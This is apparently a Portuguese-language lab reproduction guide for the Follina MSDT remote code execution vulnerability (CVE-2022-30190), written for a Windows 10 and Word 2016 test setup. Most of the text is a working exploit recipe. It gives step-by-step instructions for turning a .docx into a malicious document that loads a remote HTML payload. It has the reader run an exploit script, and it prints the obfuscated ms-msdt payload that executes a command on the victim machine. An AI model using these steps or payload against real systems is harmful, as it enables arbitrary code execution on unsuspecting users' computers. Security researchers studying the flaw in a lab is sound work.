
Guia passo a passo de reprodução para a vulnerabilidade de execução remota de código CVE-2022-30190 (Follina) MSDT, incluindo criação de documento malicioso e configuração de servidor C2.
aka Follina
O Follina existe na Ferramenta de Diagnóstico de Suporte da Microsoft (MSDT). Quando um aplicativo chama o MSDT para suporte por meio de um protocolo de URL, surge uma vulnerabilidade de execução remota de código. Uma exploração bem-sucedida permite que um invasor execute código arbitrário com base nas permissões do aplicativo em execução.
* Host OS: Ubuntu 22.04 LTS
* Guest OS: Windows 10 Pro x64, versão 2004, build 19041.1237
* Microsoft Office: Word 2016
Passo 1: Crie um documento Word (.docx) e insira um objeto OLE (ex.: Bitmap Image) no texto.
Passo 2: Descompacte o arquivo .docx e edite o arquivo word/_rels/document.xml.rels dentro da pasta. Altere o Target="embeddings/oleObject1.bin" destacado em amarelo na imagem abaixo para:
Target = "http://<payload_server>/<random_name>.html!" e adicione o atributo TargetMode = "External".
Passo 3: Edite o arquivo word/document.xml dentro da pasta. Altere o Type="Embed" destacado em amarelo na imagem abaixo para Type="Link" e adicione o atributo UpdateMode="OnCall".
Passo 4: Use o 7-zip para abrir o arquivo .docx (não descompactar) e substitua os dois arquivos mencionados dentro do .docx. Conclua a criação do documento malicioso.
Baixe o Follina.py publicado por John Hammond. Aqui, usaremos um comando básico para abrir a calculadora como exemplo:
python3 follina.py -c calc.exe -i eth0
No arquivo Follina.py, linhas 117-125, ocorre a criação do payload malicioso (.html). O conteúdo é mostrado abaixo: <script>location.href... é o script que executa a calculadora na máquina vítima. Todo o documento também é preenchido com uma grande quantidade de caracteres aleatórios para atingir um tamanho mínimo de 4096 bytes. O motivo pode ser consultado em “Follina” MSDT Attack
<script>location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'Y2FsYw=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\""; //pydvwofyowvcmgcaevgukzhjgmfirqpffuiclrgzlobvnrxknespfklndldfazyefpyxjbixgykmzeumodxedsxpaduvcqygjhrxzeqpuhdgcmpzsxkkpdzdielmoiwzknqxtxinxymsnuugffkxvzwxetrl...(4096 bytes)
</script
Notícia
Follina.py
Documento malicioso
Teste de vulnerabilidade 1
Teste de vulnerabilidade 2
Teste de vulnerabilidade 3